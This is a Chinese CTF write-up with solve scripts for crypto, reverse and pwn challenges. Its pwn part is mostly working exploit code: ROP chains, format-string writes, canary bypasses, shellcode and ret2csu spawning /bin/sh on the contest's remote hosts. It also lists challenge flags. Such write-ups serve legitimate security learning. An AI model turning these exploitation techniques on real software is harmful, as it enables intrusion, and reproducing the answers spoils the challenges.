assert reduce(lambda x,y:x&y,[i^3 - 10*i^2 + 31*i - 30==0 for i in e])
求e
for i in range(100):
if i^3 - 10*i^2 + 31*i - 30 == 0:
print(i)
e = [2,3,5]
再通过s,和c求a1,a2,a3(前边的部分很小可直接开根号)
s = 192597139210277682598060185912821582569043452465684540030278464832244948354365
c = [5415723658972576382153559473862560277755192970021711034483296770242757614573901416501357332661976379693731699836578087114136761491831672836130172409491889, 210713951733721296094981135225517096332793112439184310028590576805069783972692891743044656754643189870169698041576462365740899368554671164493356650858567594970345928936103914826926922045852943068526737627918609421198466329605091625, 93558120697660628972553751937347865465963385519812302371069578286123647411810258547153399045605149278436900736665388355004346922404097196048139360206875149390218160164739477798859206611473675859708579299466581718543909912951088772842957187413726251892347470983848602814387339449340072310561011153714207338630]
a1 = c[0].nth_root(2)
a2 = c[1].nth_root(3)
a3 = s-a1-a2
再通过头一点点爆破后边的部分
b = [l2b(v) for v in [a1,a2,a3]]
k4 = list(xor(b[0][:4],b'SYC{'))
key = k4+[0]*28
key[4] = 141
key[5] = 236
key[6] = 196
key[7] = 125
key[8] = 153
key[9] = 121
key[10] = 243
l = 11
for i in range(256):
key[l] = i
tk = key[:l+1]
r = [xor(b[i][:l+1], tk) for i in range(3)]
if all(1<=j[l]<=0x7e for j in r):
print(i, r)
#104 [b'SYC{You_are_', b'really_algeb', b'ra_master}\x02\x02']
#SYC{You_are_really_algebra_master}\x02\x02
不全是测试,需要过两关,一个是输入指定字符,另一个是算式计算
from pwn import *
p = remote('pwn.node.game.sycsec.com', 30707)
context.log_level = 'debug'
p.sendafter(b'!!!', b'Syclover'.rjust(0x64, b'a'))
p.recvuntil(b'one\n')
v = eval(p.recvuntil(b'=?', drop=True))
p.sendline(str(v).encode())
p.interactive()
密码对了就能过关,不过密码是从/dev/urandom取得的没法计算
int init()
{
FILE *stream; // [rsp+8h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
stream = fopen("/dev/urandom", "r");
fgets(password, 64, stream);
return fclose(stream);
}
由于是通过字符串比较,所以当password第1个字符是0时即可通过。爆破即可
from pwn import *
bin_sh = 0x402013
leave_ret = 0x4013af
pop_rdi = 0x401423
bss = 0x404800
elf = ELF('./password')
context(arch='amd64',log_level = 'error')
while True:
p = remote('pwn.node.game.sycsec.com', 30664)
#p = process('./password')
p.sendafter(b"please enter user name:\n", flat(0,0,0,0, bss, 0x401324))
p.sendlineafter(b"please enter password:\n", b'\x00'*8)
v = p.recvline()
if b'Wrong' in v:
p.close()
continue
print(v)
print('--------------------------------')
#gdb.attach(p, 'b*0x4013af\nc')
context(arch='amd64',log_level = 'debug')
p.sendafter(b"please enter user name:\n",flat(pop_rdi,bin_sh,elf.plt['system'],0, bss-0x28, leave_ret))
p.sendlineafter(b"please enter password:\n", b'\x00'*8)
p.sendline(b'cat flag')
p.interactive()
break
溢出时改一字节到后门
from pwn import *
p = remote('pwn.node.game.sycsec.com', 30020)
context(arch='amd64',log_level = 'debug')
p.sendafter(b"The simplest but not too simple pwn\n", b'\x00'*0x58 + p8(0x27))
p.interactive()
可以给任意地址加一个值
加到后门就行了
gets溢出,PIE未开,直接ROP
from pwn import *
context(arch='amd64', log_level='debug')
pop_rbp = 0x000000000040119d # pop rbp ; ret
pop_rdi = 0x0000000000401333 # pop rdi ; ret
pop_rsi = 0x0000000000401331 # pop rsi ; pop r15 ; ret
leave_ret = 0x40126d
elf = ELF('./ret2libc')
libc = ELF('./libc.so.6')
#p = process('./ret2libc')
p = remote('pwn.node.game.sycsec.com', 31607)
#gdb.attach(p, "b*0x40126c\nc")
p.sendlineafter(b"This challenge no backdoor!", flat(0,0,0, pop_rsi, elf.got['write'], 0, 0x401288, elf.sym['main']))
libc.address = u64(p.recv(8)) - libc.sym['write']
print(f"{libc.address = :x}")
p.sendlineafter(b"This challenge no backdoor!", flat(0,0,0, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))
p.interactive()
写入shellcode然后执行。
不过有点短,先执行次读再写shellcode
from pwn import *
#p = process('./ezpwn')
p = remote('pwn.node.game.sycsec.com', 30947)
context(arch='amd64', log_level='debug')
#gdb.attach(p, "b*0x80101a\nc")
#p.send(b'/bin/sh\x00'+ asm('push 0x3b;pop rax;mov rdi,rsp; mov rsi,rbp; syscall'))
p.send(b'/bin/sh\x00'+ asm('xor rax,rax;push 0xf0;pop rdx; syscall').ljust(11, b'\x90') + b'\x90'*0x10+asm(shellcraft.sh()))
p.interactive()
与write1基本相同,只是由原来的加改为=,写shellcode然后跳过去
from pwn import *
#p = process('./w2')
p = remote('pwn.node.game.sycsec.com', 30198)
context(arch='amd64', log_level='debug')
shellcode = b"\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
#gdb.attach(p, "b*0x5555555552fd\nc")
p.recvuntil(b":")
stack = int(p.recvline(), 16) + 4
p.sendline(shellcode)
for i,v in enumerate(p64(stack)):
p.sendlineafter(b"index:", str(40+i).encode())
p.sendlineafter(b"value:", f"{v:02x}".encode())
p.sendlineafter(b"index:", b'-1')
p.interactive()
有一小点溢出,但可执行printf
利用printf泄露地址,先移下栈到bss再ROP
from pwn import *
libc = ELF('./libc.so.6')
elf = ELF('./fmt1.0')
#p = process('./fmt1.0')
p = remote('pwn.node.game.sycsec.com', 31665)
context(arch='amd64', log_level='debug')
#gdb.attach(p, 'b*0x4012c8\nc')
pop_rbp = 0x00000000004011bd # pop rbp ; ret
pop_rdi = 0x0000000000401353 # pop rdi ; ret
pop_rsi = 0x0000000000401351 # pop rsi ; pop r15 ; ret
leave_ret = 0x4012c8
bss = 0x404900
vuln = 0x401274
p.sendafter(b"Please enter your username: ", b'%15$s'.ljust(0x48,b'\x00')+ flat(elf.got['puts'],bss, vuln))
p.recvuntil(b'Hello,')
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")
p.sendafter(b"Please enter your username: ", flat(b'/bin/sh\x00', pop_rdi+1, pop_rdi, bss-0x50, libc.sym['system']).ljust(0x50, b'\x00')+ flat(bss-0x50, leave_ret))
p.interactive()
有溢出但是有canary,发现canary格式不大正常,在init里找到生成算法。
算出canary就OK了
from pwn import *
from ctypes import cdll,c_uint64
clibc = cdll.LoadLibrary("./libc.so.6")
def sar4(a):
if (a>>63)&1:
return (a>>4)+ (0xf<<60)
else:
return a>>4
def sar8(a):
if (a>>63)&1:
return (a>>8)+ (0xff<<56)
else:
return a>>8
#p = process('./chal')
p = remote('pwn.node.game.sycsec.com', 31874)
context(arch='amd64', log_level='debug')
seed = clibc.time(0)%60
v2 = c_uint64()
v3 = c_uint64()
canary = c_uint64()
for i in range(1):
clibc.srand(seed)
v2.value = clibc.rand()
v3.value = clibc.rand()
canary.value = sar4(v2.value) ^ (16 * v3.value + sar8(v3.value) * (v2.value << 8))
canary.value = canary.value>>32
print(f"{ canary.value = :x}")
canary.value += (((v2.value >> 48) + (v2.value << 16) * (v3.value >> 16)) ^ (v3.value << 48)) << 32
print(f"{ canary.value = :x}")
#gdb.attach(p, "b*0x401509\nc")
p.sendafter(b"Please enter your name:", asm(shellcraft.open('./flag')+shellcraft.read('rax', 0x404800, 0x50)+ shellcraft.write(1, 0x404800, 0x50)))
p.sendlineafter(b"tell me something:", flat(0, canary.value, 1, 0x4040e0))
p.interactive()
game函数存在未初始化漏洞,通过-号绕过泄露加载地址
consolation_prize是通过进程启动的,可以通过溢出覆盖canary,最后orw(不清楚为什么system不成)
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./ez_fullprotection')
libc = ELF('./libc.so.6')
#p = process('./ez_fullprotection')
p = remote('pwn.node.game.sycsec.com', 30117)
#gdb.attach(p,"b*0x55555555558d\nc")
p.sendlineafter(b"Tell me your name: ", b"A")
p.sendlineafter(b"Enter your guess : ", b'-')
p.recvuntil(b"but you entered ")
elf.address = int(p.recvline()[:-2]) - 0x1240
print(f"{ elf.address = :x}")
pop_rdi = elf.address + 0x16e3
pop_rsi = elf.address + 0x16e1 #rsi,r15
leave_ret = elf.address + 0x1675
bss = elf.address + 0x4050
#p.sendlineafter(b"This should work.\n> \n", b'A'*0x1000+b'\n\n')
#覆盖thread里的canary,不能过长
p.sendlineafter(b"This should work.\n> \n", b'\x00'*0x38+flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.address + 0x1541).ljust(0x900, b'\x00'))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")
#不清楚为啥system不成功 用execve(/bin/sh,*0,*0)
pop_rdx = libc.address + 0x0000000000142c92 # pop rdx ; ret
pop_rax = libc.address + 0x0000000000036174 # pop rax ; ret
syscall = next(libc.search(asm('syscall;ret')))
p.sendlineafter(b"This should work.\n> \n", b'\x00'*0x38+flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), pop_rsi,elf.address+0x4800,0,pop_rdx, elf.address+0x4800,pop_rax,59, syscall ))
p.interactive()
也是个老套题了,在前些天单次调用里用的模板。用add [rbp-0x3d],rbx这个gadget和ppp6,mov call实在单次调用。
from pwn import *
elf = ELF('./why_n0t_puts')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
context(arch='amd64', log_level='debug')
ret = 0x00401163
add_dword_rbp_0x3d_ebx_ret = 0x0040111c # 0: 01 5d c3 add DWORD PTR [rbp-0x3d], ebx
'''
#__do_global_dtors_aux
.text:0000000000401156 C6 05 0B 2F 00 00 01 mov cs:completed_8061, 1
.text:000000000040115D 5D pop rbp
.text:000000000040115E C3 retn
'''
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x004011ca #__libc_csu_init
mov_call = 0x004011a7
'''
# __libc_csu_init
......
.text:0000000000401257 31 DB xor ebx, ebx
.text:0000000000401259 0F 1F 80 00 00 00 00 nop dword ptr [rax+00000000h]
.text:0000000000401260 4C 89 F2 mov rdx, r14
.text:0000000000401263 4C 89 EE mov rsi, r13
.text:0000000000401266 44 89 E7 mov edi, r12d
.text:0000000000401269 41 FF 14 DF call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040126D 48 83 C3 01 add rbx, 1
.text:0000000000401271 48 39 DD cmp rbp, rbx
.text:0000000000401274 75 EA jnz short loc_401260
.text:0000000000401276 48 83 C4 08 add rsp, 8
.text:000000000040127A 5B pop rbx
.text:000000000040127B 5D pop rbp
.text:000000000040127C 41 5C pop r12
.text:000000000040127E 41 5D pop r13
.text:0000000000401280 41 5E pop r14
.text:0000000000401282 41 5F pop r15
.text:0000000000401284 C3 retn
.text:0000000000401284 ; } // starts at 401220
'''
bss = elf.bss(0) #stdout
buf = elf.bss(0x40)
def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss):
return flat([
pop_rbx_rbp_r12_r13_r14_r15_ret,
0, 1, rdi, rsi, rdx, addr, mov_call,
0, 0, rbp, 0, 0, 0, 0,
])
def add(off, addr=bss):
return flat([
pop_rbx_rbp_r12_r13_r14_r15_ret,
off, addr + 0x3d, 0, 0, 0, 0,
add_dword_rbp_0x3d_ebx_ret,
])
payload1 = b'\x00' * 0x38 + flat([
add(0x6e69622f, buf), #0x404080 /bin/sh\0
add(0x0068732f, buf + 4),
0x401136
])
payload2 = b'\x00' * 0x38 + flat([
add(libc.sym['system'] - libc.sym['read'], elf.got['read']), #0x404040 修改stdout为system
ret2csu(rdi=buf, addr=elf.got['read'])
])
#p = process('./why_n0t_puts')
p = remote('pwn.node.game.sycsec.com', 30770)
#gdb.attach(p, "b*0x401162\nc")
p.send(payload1.ljust(0x100,b'\x00'))
p.send(payload2)
p.sendline(b'cat /flag')
p.interactive()
先通过移栈让canary落在s位置然后泄露。得到canary就是简单的rop
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./EVA')
libc = ELF('./libc.so.6')
#p = process('./EVA')
p = remote('pwn.node.game.sycsec.com', 31985)
#gdb.attach(p, "b*0x401370\nc")
bss = 0x404f00
p.sendlineafter(b"Do you know \n", b'2') #move stack
p.sendafter(b"I'll punish you to go back and watch\n", flat(bss, 0x40128e))
p.sendlineafter(b"Do you know \n", b'2')
p.sendafter(b"I'll punish you to go back and watch\n", flat(bss+8, 0x401302))
canary = p.recv(0x38)[-8:]
print('canary:', canary.hex())
pop_rdi = 0x401423
pop_rsi = 0x401421
pop_rbp = 0x4011dd
p.sendline(b'1')
p.sendafter(b"marvelous! We are like-minded!\n", canary*10 + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rbp, bss-0x100, 0x401349))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")
p.sendafter(b"marvelous! We are like-minded!\n", canary*10 + flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))
p.interactive()
给了两次printf
第1次泄露,第2次循环回来,后边每次次一段rop,后边一个循环
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./fmt2.0')
libc = ELF('./libc.so.6')
#p = process('./fmt2.0')
p = remote('pwn.node.game.sycsec.com', 30410)
#gdb.attach(p, "b*0x5555555552f0\nc")
p.sendafter(b"str:", b'%19$p,%21$p,%23$p,')
libc.address = int(p.recvuntil(b',', drop=True),16) - 243 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True),16) - 0xf0 #ret
elf.address = int(p.recvuntil(b',', drop=True),16) - elf.sym['main']
print(f"{ libc.address = :x} { stack = :x} { elf.address = :x}")
def write_v(target, v0):
v1 = v0&0xffff
v2 = (v0>>16)&0xffff
v3 = (v0>>32)&0xffff
pay = f"%{v1}c%13$ln%{(v2-v1)&0xffff}c%14$hn"
if v3 == v2:
pay += f"%15$hn"
else:
pay += f"%{(v3-v2)&0xffff}c%15$hn"
return pay.encode().ljust(0x38, b'\x00')+flat(target,target+2,target+4)
p.sendafter(b"str:", f"%{0x3f}c%12$hhn".ljust(0x30).encode()+p64(stack))
pop_rdi = elf.address + 0x1363
bin_sh = next(libc.search(b'/bin/sh\x00'))
p.sendafter(b"str:", write_v(stack+8,pop_rdi))
p.sendafter(b"str:", f"%{0x3f}c%12$hhn".ljust(0x30).encode()+p64(stack))
p.sendafter(b"str:", write_v(stack+0x10,bin_sh))
p.sendafter(b"str:", f"%{0x3f}c%12$hhn".ljust(0x30).encode()+p64(stack))
p.sendafter(b"str:", write_v(stack+0x18,libc.sym['system']))
p.sendafter(b"str:", f"%{0x3f}c%12$hhn".ljust(0x30).encode()+p64(stack))
p.sendafter(b"str:", write_v(stack, pop_rdi+1))
p.sendafter(b'str:', b'\x00')
p.interactive()
主程序里有一个抬栈,然后计算抬的高度,让v[0]落在canary的位置,然后当canary是一些符合double格式的特殊情况时%lf会将值打印出来。
from pwn import *
import struct
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./elevator')
pop_rdi = 0x00000000004016f3 # pop rdi ; ret
while True:
#p = process('./elevator')
p = remote('pwn.node.game.sycsec.com', 30006)
p.sendlineafter(b"Tell me your name so i can let you in:", b'A')
p.sendlineafter(b"Please enter the floor you want to reach:", b'34')
p.sendlineafter(b"How long do you think you have to wait?", b'-')
msg = p.recvline()
if b"Oh!bad!" in msg or b"0.000000s later" in msg:
p.close()
continue
print(msg) #'Wow! -1496845727231311872.000000s later,Senior o2takuXX opened the door for you\n'
canary = struct.pack('
当printf中串不在栈里的时候一般会用到两条链,rbp和argv,这里给的次数只有3次,又要作两次造循环,所以需要两个链全用。
void game()
{
hack();
hack();
hack();
}
void hack()
{
void *buf; // [rsp+8h] [rbp-8h]
buf = malloc(0x400uLL);
puts("hack me!");
read(0, buf, 0x400uLL);
printf((const char *)buf);
free(buf);
}
这里可以造循环,不要说程序员划水,循环还是有些复杂,不如复制粘贴。
from pwn import *
#p = process('./fmt3.0')
p = remote('pwn.node.game.sycsec.com', 31351)
context(arch='amd64', log_level='debug')
elf = ELF('./fmt3.0')
libc = ELF('./libc.so.6')
#gdb.attach(p, "b*0x5555555552ad\nc")
#1,leak
p.sendafter(b"hack me!\n", b"%8$p,%13$p,%9$p,")
stack = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - 243 - libc.sym['__libc_start_main']
elf.address = int(p.recvuntil(b',', drop=True),16) - 0x12c1
print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")
pop_rdi = libc.address + 0x0000000000023b6a # pop rdi ; ret
pop_rdi2 = libc.address + 0x00000000000248f2 # pop rdi ; pop rbp ; ret
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
#2, 8->10->13
tail = (stack-8)&0xff
p.sendafter(b"hack me!\n", f"%{tail}c%8$hhn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())
#15->43->ret
print(f"{pop_rdi2 = :x}")
tail = (stack+0x18)&0xffff
p.sendafter(b"hack me!\n", f"%{tail}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{pop_rdi2&0xffff}c%43$hn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())
p.sendafter(b"hack me!\n", f"%{tail+2}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{(pop_rdi2>>16)&0xffff}c%43$hn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())
p.sendafter(b"hack me!\n", f"%{tail+4}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{(pop_rdi2>>32)&0xffff}c%43$n".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())
#bin/sh
print(f"{bin_sh = :x}")
p.sendafter(b"hack me!\n", f"%{tail+8}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{bin_sh&0xffff}c%43$hn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())
p.sendafter(b"hack me!\n", f"%{tail+10}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{(bin_sh>>16)&0xffff}c%43$hn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())
p.sendafter(b"hack me!\n", f"%{tail+12}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{(bin_sh>>32)&0xffff}c%43$n".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())
print(f"{system = :x}")
p.sendafter(b"hack me!\n", f"%{tail+24}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{system&0xffff}c%43$hn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())
p.sendafter(b"hack me!\n", f"%{tail+26}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{(system>>16)&0xffff}c%43$hn".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())
p.sendafter(b"hack me!\n", f"%{tail+28}c%15$hn".encode())
p.sendafter(b"hack me!\n", f"%{(system>>32)&0xffff}c%43$n".encode())
p.sendafter(b"hack me!\n", f"%{0xb7}c%10$hhn".encode())
p.interactive()
'''
0x00007fffffffde20│+0x0000: 0x0000555555555100 → <_start+0> endbr64 ← $rsp
0x00007fffffffde28│+0x0008: 0x000055555555b2a0 → 0x0000000000000000
0x00007fffffffde30│+0x0010: 0x00007fffffffde40 → 0x00007fffffffde50 → 0x0000000000000000 ← $rbp 8->10-> 0x18 game_ret
0x00007fffffffde38│+0x0018: 0x00005555555552c1 → mov eax, 0x0
0x00007fffffffde40│+0x0020: 0x00007fffffffde50 → 0x0000000000000000
0x00007fffffffde48│+0x0028: 0x00005555555552f4 → mov eax, 0x0
0x00007fffffffde50│+0x0030: 0x0000000000000000
0x00007fffffffde58│+0x0038: 0x00007ffff7df9083 → <__libc_start_main+243> mov edi, eax
0x00007fffffffde60│+0x0040: 0x00007ffff7ffc620 → 0x0006010c00000000
0x00007fffffffde68│+0x0048: 0x00007fffffffdf48 → 0x00007fffffffe292 → "/home/kali/ctf/1116/fmt3.0" 15->43-> 0x38 ret rop_chain
'''
感觉要写不下了,简单写
a = b'SXAxS6jd8doTxBQ{x"Ma\'csE-|El,o/{^\'
b = bytes([i^a[i] for i in range(len(a))])
SYC{W3lc0me_tO_th3_r3veR5e_w0r1d~}
from pwn import p64
a = [5569930572732194906,6219552794204983118,6722278119083037265,5570191165376843081]
b = b''.join([p64(a) for v in a])
c = bytes([i-7 for i in b])
SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF
SYC{SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF}
tab = '01234_asdzxcpoityumnbAOZWXGMY'
x = [BitVec(f'x_{i}', 5) for i in range(5)]
m = bytes.fromhex('121D10131B081F08171E1D031C0A15121D08101C0B1E071407')
M = matrix(Zmod(0x20), 5,5,list(m))
A = matrix(Zmod(0x20),5,5)
for i in range(5):
A[i,i] = 1
K = M.solve_left(A)
'''
sage: M
[18 29 16 19 27]
[ 8 31 8 23 30]
[29 3 28 10 21]
[18 29 8 16 28]
[11 30 7 20 7]
sage: A
[1 0 0 0 0]
[0 1 0 0 0]
[0 0 1 0 0]
[0 0 0 1 0]
[0 0 0 0 1]
sage: K
[11 19 9 5 12]
[14 6 22 27 16]
[26 28 29 29 11]
[ 4 31 22 13 8]
[27 29 10 16 16]
'''
v = []
for i in K:
v += i
v = [11, 19, 9, 5, 12, 14, 6, 22, 27, 16, 26, 28, 29, 29, 11, 4, 31, 22, 13, 8, 27, 29, 10, 16, 16]
#checkposition(const char *flag, const char *table, __int64 pos)
#pos[i] = table.index(flag[i]) + 48
#exchange(&position, &number)
#pos = num[pos[i]-48]
num = list(bytes.fromhex('0102030405060708090A0B0C0D0E1013161A1B1C1D1F2032333435363738'))
#exchange pos[i] = num[pos[i]-48]
#v2 = [i if i in num else 32+i for i in v]
pos = [num.index(i) for i in v]
flag = [tab[i] for i in pos]
#xtd4co_ymiunbbx3Aypsmbzii
#SYC{xtd4co_ymiunbbx3Aypsmbzii}
>>> ord('S')
83
>>> ord('\r')
13
>>> 83^13
94
>>> for i in range(0x3e8):
... a = sum(list(range(i)))%0xd3
... if a==94:
... print(i)
...
70
。。。
D:\02023_ctf\1108_Geek\r>幸运数字.exe
输入你的幸运数字(0-999):69
根据您输入的数字系统生成的flag为(温馨提示若flag不符合SYC{}的格式即为错误flag!):
SYC{C0ngratulati0nnnns_You_gAessEd_R1ght}
c = [77,95,61,-123,55,104,115,87,39,104,81,89,127,38,107,89,115,87,85,91,89,111,106,89,39,87,114,87,79,87,120,120,-125]
c = [i&0xff for i in c]
m = [(i+10)^10 for i in c]
bytes([i-10 for i in m])
#SYC{Anma1nG_y0u_maKe_it_1alaIa~~}
a = bytes.fromhex('002020171B360E362617042A2907261552332D0F3A271106330746173D0A3C382E2218')
b = b"Syclove"
xor(a,b)
SYC{t@ke_thE_bul1_By_the_h0rns_TAT}
from ctypes import *
v16 = [0]*38
v16[0] = 0x9AF9464B
v16[1] = 0xC417B89E
v16[2] = 0xB217A713
v16[3] = 0xC93BA9E8
v16[4] = 0x94F3E44E
v16[5] = 0xB5CC2AB5
v16[6] = 0x4451E42C
v16[7] = 0x7A8A289A
v16[8] = 0x53C8D008
v16[9] = 0x6E117B49
v16[10] = 0x9BFFD794
v16[11] = 0x5EFF2DF9
v16[12] = 0x17E72531
v16[13] = 0xDFBD9979
v16[14] = 0x8F871B3A
v16[15] = 0x73E8C5AC
v16[16] = 0xB28670A6
v16[17] = 0x5AF6A369
v16[18] = 0x2CF7DA24
v16[19] = 0x347B66AF
v16[20] = 0xB9C84D60
v16[21] = 0x911E912F
v16[22] = 0xBD5A2F9B
v16[23] = 0xCB96733A
v16[24] = 0xC59968BE
v16[25] = 0xA00013E9
v16[26] = 0xC12F4EA4
v16[27] = 0xDE863A10
v16[28] = 0xA0C4D594
v16[29] = 0x4380983C
v16[30] = 0x7E2F7648
v16[31] = 0xE54DDC89
v16[32] = 0x3F27A690
v16[33] = 0xB58D3199
v16[34] = 0x604AE517
v16[35] = 0x9C903984
v16[36] = 0xF4E04481
v16[37] = 0x3CF4EDFF
'''
for ( i = 0; i < a1; ++i )
{
v1 += sum ^ (*(_DWORD *)(a3 + 4 * ((sum >> 11) & 3)) + sum) ^ (v0 + ((v0 >> 5) ^ (16 * v0)));
v0 += (*(_DWORD *)(a3 + 4 * (sum & 3)) + sum) ^ (v1 + ((v1 >> 5) ^ (16 * v1)));
sum += 0x31415927;
}
'''
def decrypt(v):
rnd = 54
k = [32,27,39,44]
v0 = c_uint32(v[0])
v1 = c_uint32(v[1])
delta = 0x31415927
sum1 = c_uint32((delta) * rnd)
for i in range(54):
sum1.value -= delta
v0.value -= (sum1.value + k[sum1.value&3]) ^ (v1.value + ((v1.value >> 5)^(v1.value << 4)))
v1.value -= sum1.value^(sum1.value + k[(sum1.value>>11)&3])^(v0.value + ((v0.value >> 5)^(v0.value << 4)))
return v0.value, v1.value
#从前后各取1个字节加密
f1 = []
f2 = []
for i in range(0, len(v16), 2):
c1,c2 = decrypt(v16[i:i+2])
f1.append(c1)
f2.append(c2)
print(bytes(f1))
print(bytes(f2)[::-1])
SYC{D0_Yov_1ike_To_dRink_Flow3r_teA??}
#将动调导出SMC恢复的代码复制回
'''
data = open('self.exe','rb').read()
smc = open('self.dat','rb').read()
open('self1.exe', 'wb').write(data[:0x7b0]+ smc + data[0x7b0+0x90:])
'''
from pwn import u32,p32
c = bytes.fromhex('F0F9BDBDC49461E22591798019C20F1F15186AEBC572F584853ACC40BB2AA3D2')
c = [u32(c[i:i+4]) for i in range(0, len(c), 4)]
from ctypes import c_uint32
def decrypt(v):
rnd = 32
v0 = c_uint32(v[0])
v1 = c_uint32(v[1])
delta = 0x61C88647
sum1 = c_uint32((-delta) * rnd)
for i in range(rnd):
v1.value -= ((v0.value>>5)+4)^(v0.value*16+3)^(sum1.value+v0.value)
v0.value -= ((v1.value>>5)+2)^(v1.value*16+2)^(sum1.value+v1.value)
sum1.value += delta
#print(sum1.value)
return p32(v0.value)+p32(v1.value)
flag = b''
for i in range(0,len(c),2):
flag += decrypt(c[i:i+2])
print(flag)
#SYC{H0w_7o_R@te_YOurs31f_iNtRo?}
''' sub_4013b0 TEA 4组*2
v4 = 32;
result = *v1;
do
{
sum -= 1640531527;
v3 += ((result >> 5) + 2) ^ (16 * result + 2) ^ (sum + result);
result += ((v3 >> 5) + 4) ^ (16 * v3 + 3) ^ (sum + v3);
--v4;
}
while ( v4 );
'''
c = [0x627B44508E415865,0x847D6C49547E4A57,0x4877646060955B4F,0x622D3C689F7B4D7D]
from pwn import p64
c = b''.join([p64(i) for i in c])
m1 = [(v^i)-18 if i%3==0 else v^i for i,v in enumerate(c)]
#SYC{TAke_1t_3asy_Just_a_STart!!}
先反编译
a = b'~h|p4gs`gJdN`thPwR`jDn`te1w`2|RNH'[::-1]
b = []
for v in a:
if ord('A') <= v-2 <= ord('Z'):
c = v-2
if c>= ord('A')+13:
c -= 13
else:
c += 13
b.append(c)
elif ord('a') <= v-2 <= ord('z'):
c = v-2
if c>= ord('a')+13:
c -= 13
else:
c += 13
b.append(c)
else:
b.append(v-1)
bytes(b)
#SYCm1_h0pe_yOu_ChAse_YoUr_dr3ams}
#SYC{1_h0pe_yOu_ChAse_YoUr_dr3ams}
c = [0x3FCFE0F96C3D6F25,0x4F55BF817BC6242E,0x98B9F7484787990D,0xB2FD2384EC221BFB]
key = b'C'*0x12
b''.join([p64(i) for i in c])
#Miku( 初音未来 )的颜色代码是39c5bb 输入跟到密钥,rc4解密
密文: '256f3d6cf9e0cf3f2e24c67b81bf554f0d99874748f7b998fb1b22ec8423fdb2'
KEY: C*18
#SYC{N0thing_1s_sEriOus_But_MIku}
c = [125, 130, 131, 122, 117, 110, 123, 125, 130, 131, 122, 117, 110, 123, 99, 99, 99, 99]
key = b'5201314WXHN' #在浏览器执行decryptRailFence('53X211WH04N', 3)
a = []
for i in range(18):
if i<14:
a.append((c[i]-10)^key[i%7])
else:
a.append((c[i]-99)^key[i-7])
bytes(a)
#FJIAXUEFJIAXUEWXHN
#SYC{FJIAXUEFJIAXUEWXHN}
key = bytes.fromhex('75697F798369796E')[::-1]+bytes.fromhex('494D635D69817879')[::-1]
key = bytes([v-10 for v in key])
S = open("what's_this.exe",'rb').read()[0x2c20: 0x2c20+256]
c = [224, 5, 110, 194, 110, 153, 104, 69, 125, 31, 63, 249, 151, 118, 59, 146, 47, 68, 6, 103, 168, 235, 236, 74, 111, 232, 53, 249, 172, 167, 140, 113]
v18 = [0]*192
for i in range(16):
v18[i] = key[i]
for n in range(1, 11):
for j in range(32):
v18[n*16+j] = v18[(n-1)*16 + j]^ S[v18[16 * n - 16 + j]]
'''
for ( i1 = 0; i1 <= 15; ++i1 )
{
v5[i1] ^= v18[16 * kk + i1];
v5[i1 + 16] ^= v18[16 * kk + i1];
}
'''
kk = 1
for i in range(16):
c[i] ^= v18[16*kk + i]
c[i+16] ^= v18[16*kk + i]
def rshiftrow(a):
a1 = a[:4]
a2 = a[4:8]
a3 = a[8:12]
a4 = a[12:16]
a2 = a2[-1:]+a2[:-1]
a3 = a3[-2:]+a3[:-2]
a4 = a4[-3:]+a4[:-3]
return a1+a2+a3+a4
def transform(a):
b = [0]*16
for i in range(4):
for j in range(4):
b[i*4+j] = a[j*4+i]
return [S.index(v) for v in b]
c = rshiftrow(c[:16]) + rshiftrow(c[16:])
'''
for ( kk = 0; kk <= 0; ++kk )
{
